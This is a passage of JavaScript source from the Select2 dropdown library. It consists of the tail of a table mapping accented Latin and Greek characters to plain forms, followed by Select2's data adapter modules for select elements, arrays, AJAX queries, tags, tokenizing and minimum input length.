'\u01F2': 'Dz',
'\u01C5': 'Dz',
'\u24BA': 'E',
'\uFF25': 'E',
'\u00C8': 'E',
'\u00C9': 'E',
'\u00CA': 'E',
'\u1EC0': 'E',
'\u1EBE': 'E',
'\u1EC4': 'E',
'\u1EC2': 'E',
'\u1EBC': 'E',
'\u0112': 'E',
'\u1E14': 'E',
'\u1E16': 'E',
'\u0114': 'E',
'\u0116': 'E',
'\u00CB': 'E',
'\u1EBA': 'E',
'\u011A': 'E',
'\u0204': 'E',
'\u0206': 'E',
'\u1EB8': 'E',
'\u1EC6': 'E',
'\u0228': 'E',
'\u1E1C': 'E',
'\u0118': 'E',
'\u1E18': 'E',
'\u1E1A': 'E',
'\u0190': 'E',
'\u018E': 'E',
'\u24BB': 'F',
'\uFF26': 'F',
'\u1E1E': 'F',
'\u0191': 'F',
'\uA77B': 'F',
'\u24BC': 'G',
'\uFF27': 'G',
'\u01F4': 'G',
'\u011C': 'G',
'\u1E20': 'G',
'\u011E': 'G',
'\u0120': 'G',
'\u01E6': 'G',
'\u0122': 'G',
'\u01E4': 'G',
'\u0193': 'G',
'\uA7A0': 'G',
'\uA77D': 'G',
'\uA77E': 'G',
'\u24BD': 'H',
'\uFF28': 'H',
'\u0124': 'H',
'\u1E22': 'H',
'\u1E26': 'H',
'\u021E': 'H',
'\u1E24': 'H',
'\u1E28': 'H',
'\u1E2A': 'H',
'\u0126': 'H',
'\u2C67': 'H',
'\u2C75': 'H',
'\uA78D': 'H',
'\u24BE': 'I',
'\uFF29': 'I',
'\u00CC': 'I',
'\u00CD': 'I',
'\u00CE': 'I',
'\u0128': 'I',
'\u012A': 'I',
'\u012C': 'I',
'\u0130': 'I',
'\u00CF': 'I',
'\u1E2E': 'I',
'\u1EC8': 'I',
'\u01CF': 'I',
'\u0208': 'I',
'\u020A': 'I',
'\u1ECA': 'I',
'\u012E': 'I',
'\u1E2C': 'I',
'\u0197': 'I',
'\u24BF': 'J',
'\uFF2A': 'J',
'\u0134': 'J',
'\u0248': 'J',
'\u24C0': 'K',
'\uFF2B': 'K',
'\u1E30': 'K',
'\u01E8': 'K',
'\u1E32': 'K',
'\u0136': 'K',
'\u1E34': 'K',
'\u0198': 'K',
'\u2C69': 'K',
'\uA740': 'K',
'\uA742': 'K',
'\uA744': 'K',
'\uA7A2': 'K',
'\u24C1': 'L',
'\uFF2C': 'L',
'\u013F': 'L',
'\u0139': 'L',
'\u013D': 'L',
'\u1E36': 'L',
'\u1E38': 'L',
'\u013B': 'L',
'\u1E3C': 'L',
'\u1E3A': 'L',
'\u0141': 'L',
'\u023D': 'L',
'\u2C62': 'L',
'\u2C60': 'L',
'\uA748': 'L',
'\uA746': 'L',
'\uA780': 'L',
'\u01C7': 'LJ',
'\u01C8': 'Lj',
'\u24C2': 'M',
'\uFF2D': 'M',
'\u1E3E': 'M',
'\u1E40': 'M',
'\u1E42': 'M',
'\u2C6E': 'M',
'\u019C': 'M',
'\u24C3': 'N',
'\uFF2E': 'N',
'\u01F8': 'N',
'\u0143': 'N',
'\u00D1': 'N',
'\u1E44': 'N',
'\u0147': 'N',
'\u1E46': 'N',
'\u0145': 'N',
'\u1E4A': 'N',
'\u1E48': 'N',
'\u0220': 'N',
'\u019D': 'N',
'\uA790': 'N',
'\uA7A4': 'N',
'\u01CA': 'NJ',
'\u01CB': 'Nj',
'\u24C4': 'O',
'\uFF2F': 'O',
'\u00D2': 'O',
'\u00D3': 'O',
'\u00D4': 'O',
'\u1ED2': 'O',
'\u1ED0': 'O',
'\u1ED6': 'O',
'\u1ED4': 'O',
'\u00D5': 'O',
'\u1E4C': 'O',
'\u022C': 'O',
'\u1E4E': 'O',
'\u014C': 'O',
'\u1E50': 'O',
'\u1E52': 'O',
'\u014E': 'O',
'\u022E': 'O',
'\u0230': 'O',
'\u00D6': 'O',
'\u022A': 'O',
'\u1ECE': 'O',
'\u0150': 'O',
'\u01D1': 'O',
'\u020C': 'O',
'\u020E': 'O',
'\u01A0': 'O',
'\u1EDC': 'O',
'\u1EDA': 'O',
'\u1EE0': 'O',
'\u1EDE': 'O',
'\u1EE2': 'O',
'\u1ECC': 'O',
'\u1ED8': 'O',
'\u01EA': 'O',
'\u01EC': 'O',
'\u00D8': 'O',
'\u01FE': 'O',
'\u0186': 'O',
'\u019F': 'O',
'\uA74A': 'O',
'\uA74C': 'O',
'\u01A2': 'OI',
'\uA74E': 'OO',
'\u0222': 'OU',
'\u24C5': 'P',
'\uFF30': 'P',
'\u1E54': 'P',
'\u1E56': 'P',
'\u01A4': 'P',
'\u2C63': 'P',
'\uA750': 'P',
'\uA752': 'P',
'\uA754': 'P',
'\u24C6': 'Q',
'\uFF31': 'Q',
'\uA756': 'Q',
'\uA758': 'Q',
'\u024A': 'Q',
'\u24C7': 'R',
'\uFF32': 'R',
'\u0154': 'R',
'\u1E58': 'R',
'\u0158': 'R',
'\u0210': 'R',
'\u0212': 'R',
'\u1E5A': 'R',
'\u1E5C': 'R',
'\u0156': 'R',
'\u1E5E': 'R',
'\u024C': 'R',
'\u2C64': 'R',
'\uA75A': 'R',
'\uA7A6': 'R',
'\uA782': 'R',
'\u24C8': 'S',
'\uFF33': 'S',
'\u1E9E': 'S',
'\u015A': 'S',
'\u1E64': 'S',
'\u015C': 'S',
'\u1E60': 'S',
'\u0160': 'S',
'\u1E66': 'S',
'\u1E62': 'S',
'\u1E68': 'S',
'\u0218': 'S',
'\u015E': 'S',
'\u2C7E': 'S',
'\uA7A8': 'S',
'\uA784': 'S',
'\u24C9': 'T',
'\uFF34': 'T',
'\u1E6A': 'T',
'\u0164': 'T',
'\u1E6C': 'T',
'\u021A': 'T',
'\u0162': 'T',
'\u1E70': 'T',
'\u1E6E': 'T',
'\u0166': 'T',
'\u01AC': 'T',
'\u01AE': 'T',
'\u023E': 'T',
'\uA786': 'T',
'\uA728': 'TZ',
'\u24CA': 'U',
'\uFF35': 'U',
'\u00D9': 'U',
'\u00DA': 'U',
'\u00DB': 'U',
'\u0168': 'U',
'\u1E78': 'U',
'\u016A': 'U',
'\u1E7A': 'U',
'\u016C': 'U',
'\u00DC': 'U',
'\u01DB': 'U',
'\u01D7': 'U',
'\u01D5': 'U',
'\u01D9': 'U',
'\u1EE6': 'U',
'\u016E': 'U',
'\u0170': 'U',
'\u01D3': 'U',
'\u0214': 'U',
'\u0216': 'U',
'\u01AF': 'U',
'\u1EEA': 'U',
'\u1EE8': 'U',
'\u1EEE': 'U',
'\u1EEC': 'U',
'\u1EF0': 'U',
'\u1EE4': 'U',
'\u1E72': 'U',
'\u0172': 'U',
'\u1E76': 'U',
'\u1E74': 'U',
'\u0244': 'U',
'\u24CB': 'V',
'\uFF36': 'V',
'\u1E7C': 'V',
'\u1E7E': 'V',
'\u01B2': 'V',
'\uA75E': 'V',
'\u0245': 'V',
'\uA760': 'VY',
'\u24CC': 'W',
'\uFF37': 'W',
'\u1E80': 'W',
'\u1E82': 'W',
'\u0174': 'W',
'\u1E86': 'W',
'\u1E84': 'W',
'\u1E88': 'W',
'\u2C72': 'W',
'\u24CD': 'X',
'\uFF38': 'X',
'\u1E8A': 'X',
'\u1E8C': 'X',
'\u24CE': 'Y',
'\uFF39': 'Y',
'\u1EF2': 'Y',
'\u00DD': 'Y',
'\u0176': 'Y',
'\u1EF8': 'Y',
'\u0232': 'Y',
'\u1E8E': 'Y',
'\u0178': 'Y',
'\u1EF6': 'Y',
'\u1EF4': 'Y',
'\u01B3': 'Y',
'\u024E': 'Y',
'\u1EFE': 'Y',
'\u24CF': 'Z',
'\uFF3A': 'Z',
'\u0179': 'Z',
'\u1E90': 'Z',
'\u017B': 'Z',
'\u017D': 'Z',
'\u1E92': 'Z',
'\u1E94': 'Z',
'\u01B5': 'Z',
'\u0224': 'Z',
'\u2C7F': 'Z',
'\u2C6B': 'Z',
'\uA762': 'Z',
'\u24D0': 'a',
'\uFF41': 'a',
'\u1E9A': 'a',
'\u00E0': 'a',
'\u00E1': 'a',
'\u00E2': 'a',
'\u1EA7': 'a',
'\u1EA5': 'a',
'\u1EAB': 'a',
'\u1EA9': 'a',
'\u00E3': 'a',
'\u0101': 'a',
'\u0103': 'a',
'\u1EB1': 'a',
'\u1EAF': 'a',
'\u1EB5': 'a',
'\u1EB3': 'a',
'\u0227': 'a',
'\u01E1': 'a',
'\u00E4': 'a',
'\u01DF': 'a',
'\u1EA3': 'a',
'\u00E5': 'a',
'\u01FB': 'a',
'\u01CE': 'a',
'\u0201': 'a',
'\u0203': 'a',
'\u1EA1': 'a',
'\u1EAD': 'a',
'\u1EB7': 'a',
'\u1E01': 'a',
'\u0105': 'a',
'\u2C65': 'a',
'\u0250': 'a',
'\uA733': 'aa',
'\u00E6': 'ae',
'\u01FD': 'ae',
'\u01E3': 'ae',
'\uA735': 'ao',
'\uA737': 'au',
'\uA739': 'av',
'\uA73B': 'av',
'\uA73D': 'ay',
'\u24D1': 'b',
'\uFF42': 'b',
'\u1E03': 'b',
'\u1E05': 'b',
'\u1E07': 'b',
'\u0180': 'b',
'\u0183': 'b',
'\u0253': 'b',
'\u24D2': 'c',
'\uFF43': 'c',
'\u0107': 'c',
'\u0109': 'c',
'\u010B': 'c',
'\u010D': 'c',
'\u00E7': 'c',
'\u1E09': 'c',
'\u0188': 'c',
'\u023C': 'c',
'\uA73F': 'c',
'\u2184': 'c',
'\u24D3': 'd',
'\uFF44': 'd',
'\u1E0B': 'd',
'\u010F': 'd',
'\u1E0D': 'd',
'\u1E11': 'd',
'\u1E13': 'd',
'\u1E0F': 'd',
'\u0111': 'd',
'\u018C': 'd',
'\u0256': 'd',
'\u0257': 'd',
'\uA77A': 'd',
'\u01F3': 'dz',
'\u01C6': 'dz',
'\u24D4': 'e',
'\uFF45': 'e',
'\u00E8': 'e',
'\u00E9': 'e',
'\u00EA': 'e',
'\u1EC1': 'e',
'\u1EBF': 'e',
'\u1EC5': 'e',
'\u1EC3': 'e',
'\u1EBD': 'e',
'\u0113': 'e',
'\u1E15': 'e',
'\u1E17': 'e',
'\u0115': 'e',
'\u0117': 'e',
'\u00EB': 'e',
'\u1EBB': 'e',
'\u011B': 'e',
'\u0205': 'e',
'\u0207': 'e',
'\u1EB9': 'e',
'\u1EC7': 'e',
'\u0229': 'e',
'\u1E1D': 'e',
'\u0119': 'e',
'\u1E19': 'e',
'\u1E1B': 'e',
'\u0247': 'e',
'\u025B': 'e',
'\u01DD': 'e',
'\u24D5': 'f',
'\uFF46': 'f',
'\u1E1F': 'f',
'\u0192': 'f',
'\uA77C': 'f',
'\u24D6': 'g',
'\uFF47': 'g',
'\u01F5': 'g',
'\u011D': 'g',
'\u1E21': 'g',
'\u011F': 'g',
'\u0121': 'g',
'\u01E7': 'g',
'\u0123': 'g',
'\u01E5': 'g',
'\u0260': 'g',
'\uA7A1': 'g',
'\u1D79': 'g',
'\uA77F': 'g',
'\u24D7': 'h',
'\uFF48': 'h',
'\u0125': 'h',
'\u1E23': 'h',
'\u1E27': 'h',
'\u021F': 'h',
'\u1E25': 'h',
'\u1E29': 'h',
'\u1E2B': 'h',
'\u1E96': 'h',
'\u0127': 'h',
'\u2C68': 'h',
'\u2C76': 'h',
'\u0265': 'h',
'\u0195': 'hv',
'\u24D8': 'i',
'\uFF49': 'i',
'\u00EC': 'i',
'\u00ED': 'i',
'\u00EE': 'i',
'\u0129': 'i',
'\u012B': 'i',
'\u012D': 'i',
'\u00EF': 'i',
'\u1E2F': 'i',
'\u1EC9': 'i',
'\u01D0': 'i',
'\u0209': 'i',
'\u020B': 'i',
'\u1ECB': 'i',
'\u012F': 'i',
'\u1E2D': 'i',
'\u0268': 'i',
'\u0131': 'i',
'\u24D9': 'j',
'\uFF4A': 'j',
'\u0135': 'j',
'\u01F0': 'j',
'\u0249': 'j',
'\u24DA': 'k',
'\uFF4B': 'k',
'\u1E31': 'k',
'\u01E9': 'k',
'\u1E33': 'k',
'\u0137': 'k',
'\u1E35': 'k',
'\u0199': 'k',
'\u2C6A': 'k',
'\uA741': 'k',
'\uA743': 'k',
'\uA745': 'k',
'\uA7A3': 'k',
'\u24DB': 'l',
'\uFF4C': 'l',
'\u0140': 'l',
'\u013A': 'l',
'\u013E': 'l',
'\u1E37': 'l',
'\u1E39': 'l',
'\u013C': 'l',
'\u1E3D': 'l',
'\u1E3B': 'l',
'\u017F': 'l',
'\u0142': 'l',
'\u019A': 'l',
'\u026B': 'l',
'\u2C61': 'l',
'\uA749': 'l',
'\uA781': 'l',
'\uA747': 'l',
'\u01C9': 'lj',
'\u24DC': 'm',
'\uFF4D': 'm',
'\u1E3F': 'm',
'\u1E41': 'm',
'\u1E43': 'm',
'\u0271': 'm',
'\u026F': 'm',
'\u24DD': 'n',
'\uFF4E': 'n',
'\u01F9': 'n',
'\u0144': 'n',
'\u00F1': 'n',
'\u1E45': 'n',
'\u0148': 'n',
'\u1E47': 'n',
'\u0146': 'n',
'\u1E4B': 'n',
'\u1E49': 'n',
'\u019E': 'n',
'\u0272': 'n',
'\u0149': 'n',
'\uA791': 'n',
'\uA7A5': 'n',
'\u01CC': 'nj',
'\u24DE': 'o',
'\uFF4F': 'o',
'\u00F2': 'o',
'\u00F3': 'o',
'\u00F4': 'o',
'\u1ED3': 'o',
'\u1ED1': 'o',
'\u1ED7': 'o',
'\u1ED5': 'o',
'\u00F5': 'o',
'\u1E4D': 'o',
'\u022D': 'o',
'\u1E4F': 'o',
'\u014D': 'o',
'\u1E51': 'o',
'\u1E53': 'o',
'\u014F': 'o',
'\u022F': 'o',
'\u0231': 'o',
'\u00F6': 'o',
'\u022B': 'o',
'\u1ECF': 'o',
'\u0151': 'o',
'\u01D2': 'o',
'\u020D': 'o',
'\u020F': 'o',
'\u01A1': 'o',
'\u1EDD': 'o',
'\u1EDB': 'o',
'\u1EE1': 'o',
'\u1EDF': 'o',
'\u1EE3': 'o',
'\u1ECD': 'o',
'\u1ED9': 'o',
'\u01EB': 'o',
'\u01ED': 'o',
'\u00F8': 'o',
'\u01FF': 'o',
'\u0254': 'o',
'\uA74B': 'o',
'\uA74D': 'o',
'\u0275': 'o',
'\u01A3': 'oi',
'\u0223': 'ou',
'\uA74F': 'oo',
'\u24DF': 'p',
'\uFF50': 'p',
'\u1E55': 'p',
'\u1E57': 'p',
'\u01A5': 'p',
'\u1D7D': 'p',
'\uA751': 'p',
'\uA753': 'p',
'\uA755': 'p',
'\u24E0': 'q',
'\uFF51': 'q',
'\u024B': 'q',
'\uA757': 'q',
'\uA759': 'q',
'\u24E1': 'r',
'\uFF52': 'r',
'\u0155': 'r',
'\u1E59': 'r',
'\u0159': 'r',
'\u0211': 'r',
'\u0213': 'r',
'\u1E5B': 'r',
'\u1E5D': 'r',
'\u0157': 'r',
'\u1E5F': 'r',
'\u024D': 'r',
'\u027D': 'r',
'\uA75B': 'r',
'\uA7A7': 'r',
'\uA783': 'r',
'\u24E2': 's',
'\uFF53': 's',
'\u00DF': 's',
'\u015B': 's',
'\u1E65': 's',
'\u015D': 's',
'\u1E61': 's',
'\u0161': 's',
'\u1E67': 's',
'\u1E63': 's',
'\u1E69': 's',
'\u0219': 's',
'\u015F': 's',
'\u023F': 's',
'\uA7A9': 's',
'\uA785': 's',
'\u1E9B': 's',
'\u24E3': 't',
'\uFF54': 't',
'\u1E6B': 't',
'\u1E97': 't',
'\u0165': 't',
'\u1E6D': 't',
'\u021B': 't',
'\u0163': 't',
'\u1E71': 't',
'\u1E6F': 't',
'\u0167': 't',
'\u01AD': 't',
'\u0288': 't',
'\u2C66': 't',
'\uA787': 't',
'\uA729': 'tz',
'\u24E4': 'u',
'\uFF55': 'u',
'\u00F9': 'u',
'\u00FA': 'u',
'\u00FB': 'u',
'\u0169': 'u',
'\u1E79': 'u',
'\u016B': 'u',
'\u1E7B': 'u',
'\u016D': 'u',
'\u00FC': 'u',
'\u01DC': 'u',
'\u01D8': 'u',
'\u01D6': 'u',
'\u01DA': 'u',
'\u1EE7': 'u',
'\u016F': 'u',
'\u0171': 'u',
'\u01D4': 'u',
'\u0215': 'u',
'\u0217': 'u',
'\u01B0': 'u',
'\u1EEB': 'u',
'\u1EE9': 'u',
'\u1EEF': 'u',
'\u1EED': 'u',
'\u1EF1': 'u',
'\u1EE5': 'u',
'\u1E73': 'u',
'\u0173': 'u',
'\u1E77': 'u',
'\u1E75': 'u',
'\u0289': 'u',
'\u24E5': 'v',
'\uFF56': 'v',
'\u1E7D': 'v',
'\u1E7F': 'v',
'\u028B': 'v',
'\uA75F': 'v',
'\u028C': 'v',
'\uA761': 'vy',
'\u24E6': 'w',
'\uFF57': 'w',
'\u1E81': 'w',
'\u1E83': 'w',
'\u0175': 'w',
'\u1E87': 'w',
'\u1E85': 'w',
'\u1E98': 'w',
'\u1E89': 'w',
'\u2C73': 'w',
'\u24E7': 'x',
'\uFF58': 'x',
'\u1E8B': 'x',
'\u1E8D': 'x',
'\u24E8': 'y',
'\uFF59': 'y',
'\u1EF3': 'y',
'\u00FD': 'y',
'\u0177': 'y',
'\u1EF9': 'y',
'\u0233': 'y',
'\u1E8F': 'y',
'\u00FF': 'y',
'\u1EF7': 'y',
'\u1E99': 'y',
'\u1EF5': 'y',
'\u01B4': 'y',
'\u024F': 'y',
'\u1EFF': 'y',
'\u24E9': 'z',
'\uFF5A': 'z',
'\u017A': 'z',
'\u1E91': 'z',
'\u017C': 'z',
'\u017E': 'z',
'\u1E93': 'z',
'\u1E95': 'z',
'\u01B6': 'z',
'\u0225': 'z',
'\u0240': 'z',
'\u2C6C': 'z',
'\uA763': 'z',
'\u0386': '\u0391',
'\u0388': '\u0395',
'\u0389': '\u0397',
'\u038A': '\u0399',
'\u03AA': '\u0399',
'\u038C': '\u039F',
'\u038E': '\u03A5',
'\u03AB': '\u03A5',
'\u038F': '\u03A9',
'\u03AC': '\u03B1',
'\u03AD': '\u03B5',
'\u03AE': '\u03B7',
'\u03AF': '\u03B9',
'\u03CA': '\u03B9',
'\u0390': '\u03B9',
'\u03CC': '\u03BF',
'\u03CD': '\u03C5',
'\u03CB': '\u03C5',
'\u03B0': '\u03C5',
'\u03C9': '\u03C9',
'\u03C2': '\u03C3'
};
return diacritics;
});
S2.define('select2/data/base',[
'../utils'
], function (Utils) {
function BaseAdapter ($element, options) {
BaseAdapter.__super__.constructor.call(this);
}
Utils.Extend(BaseAdapter, Utils.Observable);
BaseAdapter.prototype.current = function (callback) {
throw new Error('The `current` method must be defined in child classes.');
};
BaseAdapter.prototype.query = function (params, callback) {
throw new Error('The `query` method must be defined in child classes.');
};
BaseAdapter.prototype.bind = function (container, $container) {
// Can be implemented in subclasses
};
BaseAdapter.prototype.destroy = function () {
// Can be implemented in subclasses
};
BaseAdapter.prototype.generateResultId = function (container, data) {
var id = '';
if (container != null) {
id += container.id
} else {
id += Utils.generateChars(4);
}
id += '-result-';
id += Utils.generateChars(4);
if (data.id != null) {
id += '-' + data.id.toString();
} else {
id += '-' + Utils.generateChars(4);
}
return id;
};
return BaseAdapter;
});
S2.define('select2/data/select',[
'./base',
'../utils',
'jquery'
], function (BaseAdapter, Utils, $) {
function SelectAdapter ($element, options) {
this.$element = $element;
this.options = options;
SelectAdapter.__super__.constructor.call(this);
}
Utils.Extend(SelectAdapter, BaseAdapter);
SelectAdapter.prototype.current = function (callback) {
var data = [];
var self = this;
this.$element.find(':selected').each(function () {
var $option = $(this);
var option = self.item($option);
data.push(option);
});
callback(data);
};
SelectAdapter.prototype.select = function (data) {
var self = this;
data.selected = true;
// If data.element is a DOM node, use it instead
if ($(data.element).is('option')) {
data.element.selected = true;
this.$element.trigger('change');
return;
}
if (this.$element.prop('multiple')) {
this.current(function (currentData) {
var val = [];
data = [data];
data.push.apply(data, currentData);
for (var d = 0; d < data.length; d++) {
var id = data[d].id;
if ($.inArray(id, val) === -1) {
val.push(id);
}
}
self.$element.val(val);
self.$element.trigger('change');
});
} else {
var val = data.id;
this.$element.val(val);
this.$element.trigger('change');
}
};
SelectAdapter.prototype.unselect = function (data) {
var self = this;
if (!this.$element.prop('multiple')) {
return;
}
data.selected = false;
if ($(data.element).is('option')) {
data.element.selected = false;
this.$element.trigger('change');
return;
}
this.current(function (currentData) {
var val = [];
for (var d = 0; d < currentData.length; d++) {
var id = currentData[d].id;
if (id !== data.id && $.inArray(id, val) === -1) {
val.push(id);
}
}
self.$element.val(val);
self.$element.trigger('change');
});
};
SelectAdapter.prototype.bind = function (container, $container) {
var self = this;
this.container = container;
container.on('select', function (params) {
self.select(params.data);
});
container.on('unselect', function (params) {
self.unselect(params.data);
});
};
SelectAdapter.prototype.destroy = function () {
// Remove anything added to child elements
this.$element.find('*').each(function () {
// Remove any custom data set by Select2
$.removeData(this, 'data');
});
};
SelectAdapter.prototype.query = function (params, callback) {
var data = [];
var self = this;
var $options = this.$element.children();
$options.each(function () {
var $option = $(this);
if (!$option.is('option') && !$option.is('optgroup')) {
return;
}
var option = self.item($option);
var matches = self.matches(params, option);
if (matches !== null) {
data.push(matches);
}
});
callback({
results: data
});
};
SelectAdapter.prototype.addOptions = function ($options) {
Utils.appendMany(this.$element, $options);
};
SelectAdapter.prototype.option = function (data) {
var option;
if (data.children) {
option = document.createElement('optgroup');
option.label = data.text;
} else {
option = document.createElement('option');
if (option.textContent !== undefined) {
option.textContent = data.text;
} else {
option.innerText = data.text;
}
}
if (data.id !== undefined) {
option.value = data.id;
}
if (data.disabled) {
option.disabled = true;
}
if (data.selected) {
option.selected = true;
}
if (data.title) {
option.title = data.title;
}
var $option = $(option);
var normalizedData = this._normalizeItem(data);
normalizedData.element = option;
// Override the option's data with the combined data
$.data(option, 'data', normalizedData);
return $option;
};
SelectAdapter.prototype.item = function ($option) {
var data = {};
data = $.data($option[0], 'data');
if (data != null) {
return data;
}
if ($option.is('option')) {
data = {
id: $option.val(),
text: $option.text(),
disabled: $option.prop('disabled'),
selected: $option.prop('selected'),
title: $option.prop('title')
};
} else if ($option.is('optgroup')) {
data = {
text: $option.prop('label'),
children: [],
title: $option.prop('title')
};
var $children = $option.children('option');
var children = [];
for (var c = 0; c < $children.length; c++) {
var $child = $($children[c]);
var child = this.item($child);
children.push(child);
}
data.children = children;
}
data = this._normalizeItem(data);
data.element = $option[0];
$.data($option[0], 'data', data);
return data;
};
SelectAdapter.prototype._normalizeItem = function (item) {
if (!$.isPlainObject(item)) {
item = {
id: item,
text: item
};
}
item = $.extend({}, {
text: ''
}, item);
var defaults = {
selected: false,
disabled: false
};
if (item.id != null) {
item.id = item.id.toString();
}
if (item.text != null) {
item.text = item.text.toString();
}
if (item._resultId == null && item.id) {
item._resultId = this.generateResultId(this.container, item);
}
return $.extend({}, defaults, item);
};
SelectAdapter.prototype.matches = function (params, data) {
var matcher = this.options.get('matcher');
return matcher(params, data);
};
return SelectAdapter;
});
S2.define('select2/data/array',[
'./select',
'../utils',
'jquery'
], function (SelectAdapter, Utils, $) {
function ArrayAdapter ($element, options) {
var data = options.get('data') || [];
ArrayAdapter.__super__.constructor.call(this, $element, options);
this.addOptions(this.convertToOptions(data));
}
Utils.Extend(ArrayAdapter, SelectAdapter);
ArrayAdapter.prototype.select = function (data) {
var $option = this.$element.find('option').filter(function (i, elm) {
return elm.value == data.id.toString();
});
if ($option.length === 0) {
$option = this.option(data);
this.addOptions($option);
}
ArrayAdapter.__super__.select.call(this, data);
};
ArrayAdapter.prototype.convertToOptions = function (data) {
var self = this;
var $existing = this.$element.find('option');
var existingIds = $existing.map(function () {
return self.item($(this)).id;
}).get();
var $options = [];
// Filter out all items except for the one passed in the argument
function onlyItem (item) {
return function () {
return $(this).val() == item.id;
};
}
for (var d = 0; d < data.length; d++) {
var item = this._normalizeItem(data[d]);
// Skip items which were pre-loaded, only merge the data
if ($.inArray(item.id, existingIds) >= 0) {
var $existingOption = $existing.filter(onlyItem(item));
var existingData = this.item($existingOption);
var newData = $.extend(true, {}, item, existingData);
var $newOption = this.option(newData);
$existingOption.replaceWith($newOption);
continue;
}
var $option = this.option(item);
if (item.children) {
var $children = this.convertToOptions(item.children);
Utils.appendMany($option, $children);
}
$options.push($option);
}
return $options;
};
return ArrayAdapter;
});
S2.define('select2/data/ajax',[
'./array',
'../utils',
'jquery'
], function (ArrayAdapter, Utils, $) {
function AjaxAdapter ($element, options) {
this.ajaxOptions = this._applyDefaults(options.get('ajax'));
if (this.ajaxOptions.processResults != null) {
this.processResults = this.ajaxOptions.processResults;
}
AjaxAdapter.__super__.constructor.call(this, $element, options);
}
Utils.Extend(AjaxAdapter, ArrayAdapter);
AjaxAdapter.prototype._applyDefaults = function (options) {
var defaults = {
data: function (params) {
return $.extend({}, params, {
q: params.term
});
},
transport: function (params, success, failure) {
var $request = $.ajax(params);
$request.then(success);
$request.fail(failure);
return $request;
}
};
return $.extend({}, defaults, options, true);
};
AjaxAdapter.prototype.processResults = function (results) {
return results;
};
AjaxAdapter.prototype.query = function (params, callback) {
var matches = [];
var self = this;
if (this._request != null) {
// JSONP requests cannot always be aborted
if ($.isFunction(this._request.abort)) {
this._request.abort();
}
this._request = null;
}
var options = $.extend({
type: 'GET'
}, this.ajaxOptions);
if (typeof options.url === 'function') {
options.url = options.url.call(this.$element, params);
}
if (typeof options.data === 'function') {
options.data = options.data.call(this.$element, params);
}
function request () {
var $request = options.transport(options, function (data) {
var results = self.processResults(data, params);
if (self.options.get('debug') && window.console && console.error) {
// Check to make sure that the response included a `results` key.
if (!results || !results.results || !$.isArray(results.results)) {
console.error(
'Select2: The AJAX results did not return an array in the ' +
'`results` key of the response.'
);
}
}
callback(results);
self.container.focusOnActiveElement();
}, function () {
// Attempt to detect if a request was aborted
// Only works if the transport exposes a status property
if ($request.status && $request.status === '0') {
return;
}
self.trigger('results:message', {
message: 'errorLoading'
});
});
self._request = $request;
}
if (this.ajaxOptions.delay && params.term != null) {
if (this._queryTimeout) {
window.clearTimeout(this._queryTimeout);
}
this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay);
} else {
request();
}
};
return AjaxAdapter;
});
S2.define('select2/data/tags',[
'jquery'
], function ($) {
function Tags (decorated, $element, options) {
var tags = options.get('tags');
var createTag = options.get('createTag');
if (createTag !== undefined) {
this.createTag = createTag;
}
var insertTag = options.get('insertTag');
if (insertTag !== undefined) {
this.insertTag = insertTag;
}
decorated.call(this, $element, options);
if ($.isArray(tags)) {
for (var t = 0; t < tags.length; t++) {
var tag = tags[t];
var item = this._normalizeItem(tag);
var $option = this.option(item);
this.$element.append($option);
}
}
}
Tags.prototype.query = function (decorated, params, callback) {
var self = this;
this._removeOldTags();
if (params.term == null || params.page != null) {
decorated.call(this, params, callback);
return;
}
function wrapper (obj, child) {
var data = obj.results;
for (var i = 0; i < data.length; i++) {
var option = data[i];
var checkChildren = (
option.children != null &&
!wrapper({
results: option.children
}, true)
);
var optionText = (option.text || '').toUpperCase();
var paramsTerm = (params.term || '').toUpperCase();
var checkText = optionText === paramsTerm;
if (checkText || checkChildren) {
if (child) {
return false;
}
obj.data = data;
callback(obj);
return;
}
}
if (child) {
return true;
}
var tag = self.createTag(params);
if (tag != null) {
var $option = self.option(tag);
$option.attr('data-select2-tag', true);
self.addOptions([$option]);
self.insertTag(data, tag);
}
obj.results = data;
callback(obj);
}
decorated.call(this, params, wrapper);
};
Tags.prototype.createTag = function (decorated, params) {
var term = $.trim(params.term);
if (term === '') {
return null;
}
return {
id: term,
text: term
};
};
Tags.prototype.insertTag = function (_, data, tag) {
data.unshift(tag);
};
Tags.prototype._removeOldTags = function (_) {
var tag = this._lastTag;
var $options = this.$element.find('option[data-select2-tag]');
$options.each(function () {
if (this.selected) {
return;
}
$(this).remove();
});
};
return Tags;
});
S2.define('select2/data/tokenizer',[
'jquery'
], function ($) {
function Tokenizer (decorated, $element, options) {
var tokenizer = options.get('tokenizer');
if (tokenizer !== undefined) {
this.tokenizer = tokenizer;
}
decorated.call(this, $element, options);
}
Tokenizer.prototype.bind = function (decorated, container, $container) {
decorated.call(this, container, $container);
this.$search = container.dropdown.$search || container.selection.$search ||
$container.find('.select2-search__field');
};
Tokenizer.prototype.query = function (decorated, params, callback) {
var self = this;
function createAndSelect (data) {
// Normalize the data object so we can use it for checks
var item = self._normalizeItem(data);
// Check if the data object already exists as a tag
// Select it if it doesn't
var $existingOptions = self.$element.find('option').filter(function () {
return $(this).val() === item.id;
});
// If an existing option wasn't found for it, create the option
if (!$existingOptions.length) {
var $option = self.option(item);
$option.attr('data-select2-tag', true);
self._removeOldTags();
self.addOptions([$option]);
}
// Select the item, now that we know there is an option for it
select(item);
}
function select (data) {
self.trigger('select', {
data: data
});
}
params.term = params.term || '';
var tokenData = this.tokenizer(params, this.options, createAndSelect);
if (tokenData.term !== params.term) {
// Replace the search term if we have the search box
if (this.$search.length) {
this.$search.val(tokenData.term);
this.$search.focus();
}
params.term = tokenData.term;
}
decorated.call(this, params, callback);
};
Tokenizer.prototype.tokenizer = function (_, params, options, callback) {
var separators = options.get('tokenSeparators') || [];
var term = params.term;
var i = 0;
var createTag = this.createTag || function (params) {
return {
id: params.term,
text: params.term
};
};
while (i < term.length) {
var termChar = term[i];
if ($.inArray(termChar, separators) === -1) {
i++;
continue;
}
var part = term.substr(0, i);
var partParams = $.extend({}, params, {
term: part
});
var data = createTag(partParams);
if (data == null) {
i++;
continue;
}
callback(data);
// Reset the term to not include the tokenized portion
term = term.substr(i + 1) || '';
i = 0;
}
return {
term: term
};
};
return Tokenizer;
});
S2.define('select2/data/minimumInputLength',[
], function () {
function MinimumInputLength (decorated, $e, options) {
this.minimumInputLength = options.get('minimumInputLength');
decorated.call(this, $e, options);
}
MinimumInputLength.prototype.query = function (decorated, params, callback) {
params.term = params.term || '';
if (params.term.length < this.minimumInputLength) {
this.trigger('results:message', {
message: 'inputTooShort',
args: {
